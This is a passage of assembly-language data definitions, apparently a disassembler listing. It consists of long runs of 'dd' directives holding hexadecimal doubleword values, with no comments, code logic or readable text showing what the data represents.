2C1CCC95h dd 0B75310F0h, 107394D2h, 0D000DB56h, 76FFBBCh, 12A28A90h dd 40EEEF0Dh, 9485E84h, 70CEC89Eh, 0C3AB0174h, 0BC709407h dd 0A7123FC7h, 8D27B905h, 0F0AC06Eh, 498CFC3h, 9600589Ch dd 0E74F930Dh, 0E0EE1AB4h, 0A05879C2h, 18BC7C27h, 82795C98h dd 0FC2000C4h, 7A2700CBh, 0E3C8137Fh, 0D724C70Fh, 460014F7h dd 8DC23E8Ah, 0C6B60507h, 7B7E75h, 2A986EC0h, 7F3884CDh dd 0C400CA6Fh, 8DD0D360h, 260B1BBh, 6D910D98h, 6F387440h dd 31ACEC0Fh, 9F8540F9h, 12CBA075h, 4F2ED5EDh, 710A0F58h dd 4D3300A4h, 87AC098Eh, 0D6F05D05h, 0F0871186h, 0A9605873h dd 1FEFB6Fh, 33E4C0F7h, 4B45928h, 8BA675B9h, 0A01210D3h dd 96DAD5h, 5E998159h, 7742E16Ch, 215FCC12h, 891B3407h dd 100D1610h, 6300F576h, 0BA2675D2h, 8412042Ah, 8691C80h dd 6FF11005h, 0BC5C11C8h, 2E7CC448h, 1C1A98Eh, 7747929Eh dd 4633D0EFh, 0E40DA316h, 4B9D845h, 0C4BCFC81h, 0B3449115h dd 64E84751h, 0C04CA1F0h, 864C136Fh, 0C044F9Ch, 3890220Fh dd 0F0D765F5h, 10446013h, 71CAD9ADh, 4C5A6098h, 0E2EBB404h dd 0B500D050h, 22C83C01h, 0CD0194D4h, 0DE2B2F2h, 888BFAF0h dd 0C02C55C2h, 0F0DA2B71h, 6E9461D8h, 0D5FEBE40h, 0F0065C50h dd 3FC2B701h, 2C67B888h, 949F16C0h, 0F6218490h, 23A60080h dd 0DAE183Ah, 89071FCh, 80706882h, 7370040Ch, 2A3880h dd 0FC3AC589h, 1D82167h, 47E32C09h, 4C3C817Ah, 0FED8F839h dd 790F0055h, 0B0C31307h, 0C09ED38Dh, 0CF7F2E41h, 0D848C2Ch dd 88E0B00Ah, 0C1997503h, 0CDE80C03h, 80020C4h, 765CB5A2h dd 0E845EB41h, 9F365080h, 0B76D0050h, 8AA0EF25h, 0D0967EDh dd 0F49DD65h, 13E4A880h, 50871376h, 0FF0F98B8h, 8878FD0Fh dd 0B31332E5h, 8825C8B9h, 18986CC4h, 1C135D76h, 171AB706h dd 1EEC0860h, 48E4B800h, 5C2C9807h, 0D120957h, 14003E72h dd 60ABED9Ch, 0AD038490h, 9DD6F56Ch, 2B6EB30Dh, 243490F0h dd 0AAA24208h, 94FB607h, 0EF65E10Eh, 0EE0EBC28h, 8F809FFBh dd 3C8CC2CBh, 0A7E71B25h, 565187D0h, 7ACE2C2Dh, 0F4A720D8h dd 0B9FA4E00h, 35AED701h, 5159026Eh, 0F9766422h, 9B06A478h dd 88D2EE7Dh, 38BB4F91h, 0C49C7D4Ch, 36ADA004h, 2C81F0D5h dd 4887E784h, 0ECAC0DA1h, 33EEC630h, 58DD71Dh, 7A2A81FCh dd 9D520D41h, 76B834h, 0D186CCE9h, 0CA7005CFh, 9686B60h dd 903EA110h, 39B5046Ch, 0D06A4B76h, 0FB1C0A1Ch, 877D7406h dd 64B22279h, 0A0F30210h, 0F0E5AECh, 1D9C785Bh, 4868464Ch dd 83309685h, 0BEF475BFh, 62ED500Ch, 1233C847h, 0C898CAEFh dd 72008FC0h, 0B8EE8595h, 0FA1901C2h, 47FD01F6h, 6FF5EA76h dd 957470D0h, 0C4B91528h, 0B5A09903h, 9468095Bh, 62FE40B5h dd 7638B0C0h, 13038E0h, 88B889BFh, 5B25350Bh, 8CAC837Dh dd 6AEAB81Dh, 3224C361h, 0D8357FFh, 47C25FD9h, 1FF1F3B5h dd 73D1E6Fh, 30EDC1Bh, 0C15AE52Dh, 109BDE50h, 0D0C13888h dd 2308032h, 0D9EC82FCh, 21780C48h, 5D708860h, 64A36919h dd 12808A24h, 3384BA52h, 0CCF279EBh, 0BE565A00h, 369D5080h dd 0BA030EAh, 3CB7062Eh, 21FD072h, 764C59C3h, 0D847CD8h dd 2D8A05EDh, 6AC982h, 0DF365269h, 559BFE69h, 0FF7F088Ch dd 43158F2Ah, 20EA571Bh, 8CCD3D31h, 0CD367FCh, 0D7FEF39Dh dd 0E78A6E00h, 7DE5B951h, 410400CDh, 3603E9C2h, 403A4A3Fh dd 577EFB46h, 0C71C02EAh, 5CA8459h, 5D18A188h, 780C23DEh dd 0F682076Bh, 0C0A831F1h, 2D8CF002h, 0D0C151A3h, 1DA9B82h dd 691C03A9h, 0E3F7BF1h, 0C1822D20h, 7EEA5823h, 0C40F8E4Ch dd 46C14F81h, 120454h, 30A879B9h, 59C602D4h, 3E038273h dd 2A735513h, 81EEC2D6h, 5EEB8A08h, 1F84CBE4h, 0FC3BAA14h dd 0B0337680h, 19F46928h, 0BC1D9FA6h, 2E0218AAh, 0A06340EAh dd 0C07B79D8h, 63B9F46Eh, 182D1447h, 0D8CED90h, 312E5EA6h dd 0C10FA7C4h, 0EA15EC67h, 65666DD3h, 54E3CC10h, 219BC50h dd 484BDB49h, 82CB408Dh, 90FC751h, 88188015h, 272B920h dd 0A0EFF0DFh, 63F2EA08h, 0AFCF2734h, 0C25798D8h, 147FEF48h dd 38FAFCDDh, 5B036569h, 713F9300h, 0A102477Ch, 846C69Bh dd 5B2EE1Eh, 32E812C5h, 57D32CE9h, 170CBF00h, 0C0587442h dd 514E1A6Bh, 93206E4Ch, 5BF88959h, 2563C5F2h, 0AF3D8C12h dd 4C558882h, 0E22135C7h, 34ED5099h, 9E908B94h, 6707A048h dd 0A08BB753h, 4ECDEA5Ch, 1CF0F7C0h, 0B0F927C6h, 416BD55Dh dd 38C70050h, 18246EC8h dd 839D2066h, 0B61C0008h, 53737241h, 3830EA56h, 6B55490h dd 0A95BF054h, 0C740589Fh, 7C671418h, 6556306Fh, 8F0C128h dd 0E5C88119h, 0ECF83006h, 0F71AB05h, 55585907h, 911644C4h dd 172FFCEDh, 0CD532FFEh, 2F2039D7h, 0CA3C8B2Ch, 0B112B957h dd 49A7A2D3h, 13A5C000h, 2A081A00h, 0F84460FCh, 9CEA24D4h dd 0EB848995h, 3D9ED908h, 8EAAC8A4h, 0C7E6C42Ah, 8203D6EDh dd 0B70CA5E7h, 99F7B02Fh, 2A130774h, 435FF28Ah, 0ECB25ACEh dd 5191D690h, 0E4EDE6A6h, 13C9923Fh, 544C991Dh, 517E2CF2h dd 9AC9B132h, 0CC820148h, 7D4AF09Dh, 3B840CC1h, 0F4F04C79h dd 81480006h, 9ECC23Ch, 0FD6035EAh, 2A5C5AAAh, 70B6F2D0h dd 1426E1E8h, 0D6FF317Bh, 0D8D2F716h, 789767CAh, 0FA093FA9h dd 28263D9Ah, 1AF9B302h, 6F8EBC00h, 376A72C2h, 0E78A08E4h dd 0EA800164h, 0BE12643Bh, 0B0449F0Fh, 0E65C4410h, 0BB65A097h dd 32601A90h, 0AA92FBD9h, 28E203Ah, 0F098D67Dh, 906CB02Ah dd 5A18A182h, 0FEFD0D17h, 28D0916Eh, 0F120DE09h, 641EA2F2h dd 0D288003Ch, 8C1D3F8h, 5BFFF282h, 602A2C0h, 20695AC9h dd 0DF6F3376h, 0A5E45BFh, 62562D5Fh, 0BF677841h, 0EBD33C3Ah dd 0E9B345F6h, 7D9306F4h, 0E902244Fh, 8F204DCBh, 0B2437134h dd 0D23A606h, 1AFD7C2Ch, 596BE9EAh, 0F4CD8B41h, 0B7DBA69h dd 8CDF2637h, 58A3A1D9h, 65FCE88Ah, 9E77B116h, 48A94052h dd 825A14AFh, 0B95DC21Eh, 5358EDC1h, 0D8C8CB8Ah, 69F9EA5Bh dd 3C984A60h, 1F9B59C8h, 9303BB09h, 583438BAh, 91A97528h dd 4C40417h, 8A81EF8Fh, 0A8F8B66h, 4573EC81h, 3034894Fh dd 781CE909h, 1CFF0ACDh, 806B45E0h, 0A90CEB80h, 3D478D68h dd 0B6241F14h, 37C341C1h, 955AE7E9h, 393C831Ah, 5046638Bh dd 0C51D3F48h, 942C8719h, 31449B33h, 1810B406h, 9157D319h dd 0C7FFD90Dh, 0B52A517Dh, 0F7664031h, 24508306h, 965AFFh dd 0DAEA814Ah, 7C1F4506h, 5717D001h, 0FC00E00h, 67BF6E2Fh dd 66E90BC2h, 20C15041h, 18FC2D7Fh, 4B0BB2EFh, 14D4B78Ch dd 92810Fh, 2999D1D4h, 0F2F259CAh, 0E1555A16h, 0B7BF7601h dd 869F5F6Eh, 8EC783DFh, 60AF04DEh, 7B5DC5C2h, 0FA012A09h dd 547F8DE9h, 709F3680h, 0CFBE2CD5h, 59D98803h, 0B3E9FE29h dd 5C240781h, 37240C89h, 24C195E1h, 870623D6h, 0B2E9221Ch dd 570197A8h, 93124F68h, 0D75F74h, 8B47678Eh, 0D73CE95Ch dd 4CBD26C0h, 0E7F0237h, 2479CD81h, 0F5C1066Eh, 40A612AEh dd 4533EDA5h, 294BE10Ah, 82093D5h, 0E9CD0106h, 6B4CED40h dd 6E0A828Bh, 37BE6226h, 75B9BF00h, 47463DE4h, 16072698h dd 24491C8Bh, 1B5A3E17h, 0DF198EF4h, 565810C9h, 34E67F89h dd 31F68206h, 9BFACA31h, 0C94F5D7Eh, 298E6A60h, 0D0E730E6h dd 5DBB33Bh, 0FCBA1603h, 378EF1B0h, 0F4473552h, 0EE8905D1h dd 38FFE08h, 28BB68ADh, 26792519h, 77D85D0Ah, 810CD052h dd 9DC58101h, 50025006h, 0D9CFE982h, 4CB950C0h, 482F357Ch dd 0D10E1809h, 341C1E2h, 0BD2565E9h, 0BE568044h, 31A536EFh dd 1C60083h, 0EEC1D6F7h, 40F08105h, 4C1FA21Fh, 8FE9F0C3h dd 53380409h, 8583EB88h, 1E1054DEh, 59CE1C7Ah, 0D5E99D5Bh dd 0EB058508h, 1DC406FFh, 0DF680E8h, 0DD01F7D6h, 0F5295B14h dd 5AD00F3h, 4E92E5Dh, 0F7BEC7F4h, 0E8EE73DAh, 0EEDD0E51h dd 23AF0E40h, 2901BEB0h, 0E908246Ch, 0FD23663Eh, 2DE8017Ch dd 57C73AB6h, 0B072205Dh, 43B42C01h, 3C7EE953h, 1ED96C25h dd 660BD55h, 747C52Dh, 0D8013942h, 24EAB6E9h, 7E1C003h dd 0D90FF180h, 0DC2427ACh, 54DE4CB5h, 59075F20h, 56E78957h dd 965080A5h, 733C07B1h, 0F7E06039h, 7AFE015Eh, 50243C8Bh dd 0C6E9E084h, 0E20292E7h, 3293D842h, 20597E48h, 0E900FF14h dd 79A94771h, 49C42305h, 0BA5201B7h, 6B0D6FC1h, 2E318040h dd 0E9380A49h, 80E02C64h, 0B96082BBh, 5DEE555Eh, 64EA8924h dd 429DA4ABh, 4BD8E2C1h, 3A3028C0h, 752B0D13h, 41236847h dd 32728550h, 48BE9D0Bh, 0A3E3C996h, 7E348BD0h, 4524DF8h dd 0C9CFFE1Dh, 922862A8h, 5401041Ah, 59CF8024h, 1A02B850h dd 0E922B638h, 0ADB7A75Dh, 0CD934364h, 0D589D05Bh, 0E8210A5Ah dd 67642C8Bh, 310BB3C1h, 481D68A0h, 307597CFh, 58C52107h dd 2437934Dh, 89661213h, 0D00BFA46h, 885C26A8h, 1DE10D06h dd 0DBBAA23Fh, 43E52AD0h, 0B45534C6h, 5D83071Dh, 0A3E80158h dd 312E3733h, 54186B06h, 6816E1F7h, 31313887h, 34309C50h dd 0BC7399CFh, 523A9E10h, 0BEA940C0h, 9D39CC02h, 81742920h dd 0ADE95E9Ch, 0EC313B94h, 5C063331h, 0DEF1F7F7h, 456BA826h dd 0DCBF53h, 7747D8C3h, 6822E920h, 4FABE5F8h, 8C726C45h dd 0EBB358D3h, 408885A4h, 3EEA818Bh, 31786075h, 0B891803Ch dd 1A850482h, 0B7E692Dh, 345138Fh, 619FC78Dh, 800BD8E9h dd 17CCC145h, 52942E1h, 0F80159CFh, 13C755Fh, 2010517Dh dd 967A8734h, 0E9272E57h, 77280EE5h, 0C9FB6101h, 556396E9h dd 40DA1EDEh, 0BD0B7C7Bh, 7706262Ah, 5A93E91Bh, 53C70393h dd 29312F75h, 3EF85B7h, 126EE908h, 0CEC62724h, 5074656Ch dd 398081DDh, 76F9A4E1h, 81C9095Ch, 3086D9F6h, 245D888h dd 70B44448h, 0E17842h, 52292C58h, 0DAF630B2h, 0EAF28001h dd 15E9D028h, 13BA6F34h, 0FCB0190h, 7B86D339h, 0F0A51884h dd 0CB2822ABh, 0BD0D3E33h, 68D0A8F7h, 0C9DEF7E5h, 360019Bh dd 884C405Eh, 0BAFEFDB8h, 0EF357167h, 356B7CA1h, 1441E7D8h dd 9712EB2Dh, 8B04CB0Ah, 5F7D0AC5h, 0FCBB60D9h, 0F4F5E130h dd 0D6928AA2h, 13FE558h, 0E77DA0F5h, 6FE89FDh, 0DD588731h dd 418C017Dh, 525B693Dh, 0E90D1C33h, 5D9058A5h, 83B24210h dd 5F4FA68Fh, 0B819C7CAh, 0C6074B22h, 9EFDA2B2h, 986D17B2h dd 0B054519Bh, 7A37336Dh, 102ACCFFh, 32FDF7FDh, 881CDC5h dd 32E6BE60h, 550E0113h, 576C884h, 1A166852h, 0F5CA4304h dd 17530F85h, 88D9521Eh, 52620485h, 5DA12C28h, 33564FF0h dd 2EE2876h, 106F206Bh, 0E058A7A1h, 10CE1FD0h, 0B3CDBF29h dd 3B31854Ah, 9D276FDh, 0F9B9E8A0h, 8A98141Bh, 18CC4955h dd 0CC9839Ah, 31A70633h, 0A60DD006h, 44BF4229h, 0D7D8654h dd 98CB293Bh, 0C3276FEAh, 925105D7h, 98DA8915h, 0D37829C6h dd 0CC591449h, 5040DC8Fh, 996695CDh, 5585088Bh, 5E7C000h dd 313AC780h, 5653F830h, 4E893054h, 0A50F49D6h, 3328B0CEh dd 6316CB7h, 68135C0Dh, 6961197Eh, 1024357h, 0A5C1A7E2h dd 0D6886002h, 0C614A9E0h, 1AE25F52h, 68A973A7h, 9387C520h dd 0D06D3DB5h, 8169051Ch, 2486E9C3h, 0B11E51D2h, 75EC0A0h dd 0A7DB2DC9h, 6892E1C0h, 2EB9516Eh, 0C2E5CA56h, 0DC68B1E9h dd 0FE035AB5h, 0C0D5F6CDh, 0B85419E5h, 704D460Ch, 4F1F7FBEh dd 0C718359Ch, 35EA8783h, 9608D5F7h, 5512633Eh, 0BD145D54h dd 447BC59Dh, 205C7746h, 205B9808h, 6813CC6Fh, 0BE370B86h dd 94BBFD2h, 5FFAC330h, 0F2D0C996h, 97B38070h, 45CC74E1h dd 4BAC9B92h, 5C628767h, 52A280FBh, 967F55E9h, 47E896A6h dd 0D2DFF63Fh, 0CD6C28A6h, 3F659626h, 0D04EB8Bh, 0B0406373h dd 0E844CAh, 0C4BD5510h, 311A6D30h, 0F687EE50h, 947A3B09h dd 5E8F847Bh, 61515992h, 5300728Ch, 291B6D68h, 0BA884FC9h dd 0D3EE6859h, 0D897A824h dd 9D5881CBh, 2C145C91h, 0C1388681h, 0BEC54426h, 45DBA00h dd 81DEF70Eh, 79DB09E6h, 1803CF2h, 0E114FC52h, 5EF32919h dd 17221C52h, 50C5CA92h, 0F3647DD2h, 0A9C05E60h, 77E283Fh dd 5ABF5778h, 0C04F4477h, 0CA1C0AF2h, 0FA21DB02h, 90898BE9h dd 81D376B1h, 2D0D6001h, 4540690Eh, 2507B31Eh, 5EA11742h dd 4AFAA204h, 50A04258h, 0CB4B99E2h, 75083822h, 41452E2Ah dd 910A8452h, 2982E4C8h, 663C8BFDh, 5DEB131Fh, 10311459h dd 0FC285D0h, 0EB64C8B7h, 52DAFF31h, 67F4BB53h, 81410072h dd 9F61EFEBh, 0E33CC140h, 0B2F38004h, 0E96B4809h, 19534972h dd 158EF2Ch, 0F51420C7h, 540C802Bh, 0F73E0B26h, 0C210DDD7h dd 16C375Eh, 0A7525484h, 5D0642F8h, 5B364EFBh, 0A3E913BBh dd 684E3012h, 54811D93h, 3022C421h, 0D0705096h, 1BD92010h dd 0A5B7665Eh, 62BCE91Ch, 0E028120Bh, 2EE9F93Ah, 81880692h dd 0EE1367BDh, 5E193031h, 585D4339h, 656003D1h, 985018B8h dd 0E4EC4E8Fh, 544EE9h, 51E02D8Dh, 4FF4401Dh, 0A6237658h dd 88269172h, 68062C6Eh, 370B73F9h, 0B71F5F1Bh, 0D9130E80h dd 17FD1EEh, 0F650CB21h, 48B922BDh, 5C0085C0h, 29268540h dd 0E128E9DEh, 0BA003B27h, 1D92F21h, 5008247Ch, 5815905Fh dd 66982BCAh, 1358BA68h, 0E554C98Bh, 0CE82635h, 0F5B1342Bh dd 21187E55h, 8C2944DBh, 0E914D974h, 8885158Ch, 9F688E02h dd 0FF933213h, 15AAE350h, 2C1E7FC1h, 0C00B9EFAh, 0F9159BC9h dd 0A324E4F6h, 95891FC5h, 0EB3EFA0Ah, 8D503296h, 0E2E8108Dh dd 5401A32Ch, 179BCD81h, 66BF4487h, 7703FF40h, 59669D1Ch dd 0BB93ACD2h, 81750386h, 0C44D7EE3h, 0E0B5B4FFh, 21775C91h dd 5D673692h, 0A93C16Fh, 7176B53h, 97586532h, 8F88C6B3h dd 0A9CE8148h, 80762A3Ch, 3B6163B2h, 6BEDC118h, 12800603h dd 8174AADh, 73C8214Dh, 0E30C71Eh, 9BE4565Dh, 9C545700h dd 4C63E97Dh, 0DDE3086h, 0EC102A5Fh, 0C50080E5h, 0F6516629h dd 0B9012454h, 0AC53232Eh, 0E902027Fh, 0F27229E3h, 0EB62210Fh dd 0E37A6926h, 4A4207Eh, 0B12E8A03h, 808B050Dh, 0FCE93D62h dd 0A43FB931h, 0F0F30A65h, 0C6E92CB0h, 0F38A0C83h, 5F687AA1h dd 4BE90162h, 18BE2994h, 62928A60h, 0E9107617h, 520E40FCh dd 381769B2h, 0EB2E80A8h, 4E10DC1Eh, 13F58815h, 6FA604D3h dd 0C1290255h, 5C42E958h, 73421F65h, 0DE2B2F01h, 0F021E4B0h dd 22BCE913h, 39516D88h, 0EE0EFD88h, 0F7C25359h, 87D882E9h dd 0AB3168F2h, 0DEEDE52Eh, 6C38B50h, 0FDC3D70h, 8C5D31BAh dd 1253E51Eh, 0BB5CC2D3h, 75BA59A0h, 4C5C9D2Bh, 77B610B0h dd 0D811B51Dh, 0E8C10F7Eh, 0C8310C1Ch, 0C61FF09Dh, 20391B8Bh dd 8FC18169h, 0AF40F4Ch, 0E81FF901h, 31FF2708h, 81508125h dd 10E8769Fh, 0FCC592Dh, 0C20121DEh, 2EA2F9ABh, 0EB404481h dd 0F3E5C53h, 0EEAD37h, 5AD5085Fh, 7CFFB852h, 3BDA315Eh dd 0ECA2EB33h, 0EEA048CDh, 182C0BC7h, 0E10ECA7Ch, 0C1FE5870h dd 0AC7ACCE6h, 0DEB6390Eh, 12370500h, 39319625h, 0D1BF58C2h dd 20133697h, 6101E39Dh, 0AF297C28h, 49621506h, 0B1A4331h dd 68FA57A3h, 38957A03h, 0ECCB30EAh, 972D0602h, 6110F17Bh dd 100524ACh, 0C99EFA1Bh, 4E380EFAh, 5E2BF701h, 14250956h dd 5775A923h, 2B11469Bh, 5140F0B4h, 1CC4AB98h, 0FE07508Ah dd 0D64EF5CBh, 0A598810Ah, 0B3C2C09h, 0CE716856h, 0C987825Fh dd 63ACF013h, 50FAEA21h, 973EBC96h, 0C4827BF1h, 5529C101h dd 10F160FAh, 0FA898082h, 5A325F78h, 40C8990Bh, 114AB35h dd 0EAC16C3Ah, 0C8DAF702h, 6EE81D2h, 0A37F3F17h, 180506C0h dd 496C2471h, 34862473h, 0C521F256h, 0A40CE883h, 7FF711ACh dd 6D1509D8h, 2F42h, 708046CDh, 254F9DB0h, 4150C932h, 5D8232D7h dd 1F2868D7h, 0B2D32FC6h, 4A20CD25h, 5A4A2EB2h, 14BC5F3Bh dd 5A800C6Ch, 0FC13E958h, 350595A2h, 4F0DF751h, 71DD4B60h dd 37C8CF50h, 3376D5B7h, 91EACD00h, 66077AD0h, 0E3B7535Ah dd 0B2AEC25Ch, 0D231266Ah, 36540940h, 8025ECC5h, 0DF57BA57h dd 19E92C41h, 1355AC48h, 67E80952h, 1202C586h, 4CFA8201h dd 4411E92Ah, 0DD7D638h, 0AD96BD37h, 0E6241218h, 28F4A047h dd 0C28080D8h, 1E312CB8h, 0BAEE73FEh, 0B87A9A60h, 22354B78h dd 62C05CD6h, 447D6FC9h, 5DE83102h, 681AD168h, 0BE5BA073h dd 9C0FE94Ch, 0D74E3409h, 15D9B3A2h, 2CE90C4Ch, 97C7E3F5h dd 4F572651h, 0D7B0D28Ch, 207EA700h, 3FEC0D26h, 2D690ECBh dd 6F4C7FEBh, 112C402Ch, 0AF24B275h, 6160904h, 0C9B48485h dd 0A070C5EEh, 3C19C80Eh, 0ABAA25F0h, 665CE7B0h, 24DE29F1h dd 0CE40DB17h, 265FF680h, 0CF1EF328h, 80A9C365h, 0A1E9C04Ch dd 0A672EE6Eh, 0BE0AC546h, 4CF50863h, 9A08422Ch, 678FA2C6h dd 15685154h, 40C8DD4Ah, 73405C7Eh, 0F2814E0Fh, 806F2B93h dd 4BC8C216h, 0DC274847h, 635E017Ch, 5AD1013Fh, 0F49F4583h dd 0C0941175h, 9B395E32h, 0C4F4E9CBh, 3CD0624h, 6B9671BAh dd 0E5C0DDF7h, 0FA482422h, 68A1521h, 31DC30FCh, 138719B8h dd 1229E5B2h, 0CC171FD6h, 0B9287C74h, 7F514F17h, 6DA71C04h dd 8AE0F16h, 2FC92A1Dh, 7A143C8Bh, 96E0E58h, 9B672568h dd 29C97B35h, 0AC8F5C9Eh, 815D3418h, 20B0272Fh, 0FB4C010Eh dd 85C22579h, 88CB591Eh, 0C1C5E159h, 0B12B403Eh, 0AB05097h dd 47F155ECh, 226466EAh, 62295C5Ah, 79882D45h, 0B04DA05Ch dd 76BB8048h, 98A1714h, 7F7030A3h, 3B5E14F3h, 0CB0055B4h dd 641F10EAh, 5602DBF7h, 2015B768h, 0E6ACC00Dh, 0D869C083h dd 0B3535B66h, 0D30EDE6Eh, 0A2596A4Ah, 82C64ECBh, 605240F3h dd 0E9F419B2h, 0FE5FED51h, 4DBA3760h, 21263876h, 0B53D68D1h dd 0A3000AF7h, 0BC687B72h, 12199352h, 5E54B0CEh, 43DA0124h dd 76495B1Fh, 252B5A71h, 3F6E394Dh, 0B054572Dh, 0FFEF8363h dd 0E90D813Ch, 2C291041h, 0D3F71A7Ah, 3914960Bh, 0C15CFE31h dd 61EC5D79h, 0C2F68101h, 2A174807h, 7D025B53h, 462BDB68h dd 21B80425h, 8726BA27h, 7E25298Bh, 58E5E4EFh, 0B6E6825h dd 5B150475h, 8D93540Eh, 23D202CCh, 0BE004679h, 3AAF6BE2h dd 0E7BB1253h, 0E94D033Fh, 41516AFDh, 9F9E6843h, 19DDCD4Bh dd 0DD3266FFh, 51021E77h, 0E6684757h, 1CECDB4Ch, 4678E924h dd 38620381h, 3D29D068h, 0A3955437h, 15194DDCh, 0C6E5D685h dd 60A00AF0h, 239B0C6Eh, 5B0C45D4h, 24F932E9h, 44C75F29h dd 50FC52Eh, 0D2C18C04h, 66002C11h, 98C73C05h, 44C2C301h dd 13D75918h, 10218E51h, 0BA016069h, 15704CE5h, 12F7131h dd 82537E37h, 43E6815Fh, 3D4F440Ah, 29911246h, 0CE8104D6h dd 548727B8h, 9F60CA8h, 4F4A70EAh, 4996A440h, 62BB6846h dd 61E90B9Ah, 88FE1E69h, 181D57B8h, 0E4C0585Bh, 555E037Bh dd 0F9870601h, 8BDD7F7h, 7268E095h, 3B8BB567h, 74A0013h dd 2D318E91h, 0E7802E8Eh, 2EFC0E3h, 9226A4DFh, 1E90F55Eh dd 3200C581h, 96AFBC1h, 0BA75E9E8h, 1EC1907Dh, 585B74D6h dd 0EBF5284Dh, 408BFE25h, 6067E9CCh, 0C4C32B25h, 13487D0Fh dd 5110619Ch, 9DC7FA0h, 5E90DDh, 0FE0BDBEDh, 5DE9012Ch dd 149199B0h, 5A0D3313h, 0D9DA0631h, 508F90D5h, 0F7B4C184h dd 0ECE5811Dh, 0E6299A4h, 2C2551BAh, 0B17D847Dh, 17E778FFh dd 0ADC7459h dd 11D82668h, 4B066FBBh, 39B6103Dh, 49AE6870h, 0BC81E450h dd 203F3E0Dh, 7F418C4Fh, 0D2A1C668h, 7FE4643Ch, 1DADC5D4h dd 4B311548h, 0A2FCD888h, 17D6B1D5h, 5638015Fh, 613A4C12h dd 1D222A70h, 0ABE910C4h, 0B8016B92h, 39DF1402h, 0E2C8ED0Dh dd 0B42D0E7Ch, 89862FCEh, 0C2013AC6h, 2AE92CD2h, 0D961F201h dd 405E0802h, 2C6E3B99h, 20034C80h, 18572E1h, 0DA295D1Bh dd 764088E9h, 20964CFFh, 0E8F8E40Ah, 6808C2C7h, 5EF134F7h dd 7110D9Bh, 0FA5D980h, 0EC30B636h, 892F55E4h, 88911AE5h dd 406BF015h, 0C5C8A868h, 9D5F72Eh, 3BABD20Ah, 2DEAD914h dd 512A1D1Dh, 5A09AE8h, 581476B7h, 907BE56h, 0E65EF031h dd 535904B3h, 0AD57E389h, 835F8476h, 6D0BCC4h, 25E9525Ch dd 5B4C7F0Ch, 0AD08E79Bh, 52D3A44h, 0EA6BDEAFh, 0EE296240h dd 7E695048h, 0A502F1DEh, 415AD955h, 0C0046BF5h, 1D94EAAAh dd 743E722Ch, 0E90D0848h, 0B9393F9Ch, 3967680Bh, 3D5D4ECCh dd 6E5C25E5h, 6479FCE2h, 0EDEA7F02h, 89597B76h, 94582D37h dd 0EF18FEB5h, 4ED75124h, 5C42285Ah, 2032615Ch, 25B18276h dd 9E9D5EADh, 40657F20h, 14955F29h, 121EC892h, 9DC58001h dd 0CF41E828h, 0EFE467B7h, 64149701h, 0FD6C8639h, 6D5F628h dd 0E7C05B0Fh, 81DF4F08h, 0EE8852D7h, 0F700A33Ch, 0FEF5865Ah dd 0AA5CE9C6h, 20C589F6h, 0C9558014h, 0F3290961h, 0D6A0CFE9h dd 3E3881BBh, 0EBD14A12h, 45D9200h, 5C2914CBh, 5A8B88D9h dd 0F688FCE5h, 0D6010969h, 1BD2B643h, 9025DE74h, 62236862h dd 0C83334Ch, 2E1C100h, 1F34E681h, 7F131E61h, 8D16A3CCh dd 0CB9C40CDh, 80DEB81h, 6236AB24h, 855AFA03h, 9315F447h dd 0BF3AE982h, 87B1A76Bh, 73040531h, 0E3123302h, 7F63497Fh dd 664AEBB8h, 3BD62F44h, 129E20A8h, 33BBA07Ah, 0D2402C6Ah dd 2F465D88h, 5C585494h, 6C8B84BDh, 6E09416h, 52FD260Ch dd 2D00FD94h, 0F3E2802Ah, 55D2A029h, 24C1F65Ah, 36203EAh dd 2ACC072h, 89537454h, 0C35D7FB0h, 0D680223h, 0E563A76Ch dd 1BFACE7h, 3F794931h, 0FC06D9C1h, 4118BCF7h, 0DF0C573Eh dd 7C503F01h, 1E07E792h, 18CF4459h, 5BF7824Ch, 0CA052F0Ah dd 0F60AD2F6h, 0A1688F1Ch, 0E8D10892h, 79BB4D3Dh, 0C9DACC05h dd 44A109A8h, 3FF1E933h, 765A0259h, 5D0409DEh, 0E9042C59h dd 0EFE3712Bh, 0B10642C3h, 59CD31B0h, 6CFD8B2h, 1A02AD2Dh dd 802E8B30h, 0CC0BC380h, 2F6E3D0h, 506997h, 0A86471BAh dd 0F7F245Ch, 0E9CE015Ah, 95447023h, 0CDE1A333h, 0E882A416h dd 3DF1E953h, 6A3B6800h, 0B70753A4h, 0E913F43Ch, 0AE982A25h dd 3F613D72h, 64C12916h, 7ABE82DBh, 8A4CAA0Fh, 4F7D5911h dd 5BFDC29Fh, 0A3FE8996h, 97EA084Ch, 0AF3D7BCDh, 0A85EF384h dd 5657C37Ah, 7AEB82E9h, 0D75CBA58h, 0EA68500Ch, 0EBF64022h dd 798CC21Eh, 0F94BD3D6h, 0B6F10228h, 0B45001C9h, 58E5E8AEh dd 5C320438h, 536010BBh, 5A69BF07h, 460AD92Bh, 96C701FCh dd 0DB168048h, 196A08C8h, 4814275Dh, 1A5A2727h, 53CE5607h dd 0BD28CB50h, 66969997h, 70B79E34h, 0E9F8155Fh, 124EE4Bh dd 0CC584438h, 0ACAE534Eh, 5500FF9Ch, 0E963D039h, 303DF34Eh dd 1D400F25h, 38FAD5B9h, 87B47150h, 4A0F4472h, 86D6F74Eh dd 3C5B0C96h, 4C1230B3h, 5C59A723h, 0BA52C0ECh, 9C313A5h dd 0DD97E969h, 68846979h, 15E243B0h, 0B3194D52h, 42CF9BEh dd 1C334ECh, 0E9BC8BC3h, 8608D2F2h, 0D9E90D87h, 28FBE119h dd 810374CAh, 0A6074ACBh, 93F3B012h, 40FA272Fh, 0EB6C82E0h dd 56D95E81h, 6355153Fh, 0FDA92EC9h, 0A65B7B11h, 371ACDF5h dd 414C549Bh, 702966DEh, 0EC419B9Ch, 4EBB370h, 2A90CC14h dd 0B1B01289h, 123E5BE9h, 8495A73Ah, 49B062E9h, 2C8A2E68h dd 31CE691Fh, 0B6F9E92Ah, 0FE879695h, 71D06127h, 476173F5h dd 0A011B5FEh, 0B025EE8h, 7B840FC0h, 54F8A220h, 8322995Bh dd 0BE0A00EBh, 5DC047BFh, 3F49A368h, 7D1F8236h, 0A11860BBh dd 0BEA3B416h, 478F518Bh, 3068E283h, 3A2453CEh, 7052274Ah dd 99681303h, 44386426h, 9628D44h, 511A845Bh, 0CC801312h dd 0E605C1B8h, 54B6808h, 7B8C2356h, 126C1FBDh, 4EB8026Ah dd 0C06AC596h, 0A9E5FA63h, 2A170129h, 0DD09302Fh, 81C9646Ch dd 0A826EC56h, 5DEB8905h, 0FBE930D3h, 58A91671h, 0E37449BBh dd 68930DE6h, 88D22910h, 3D0FF93h, 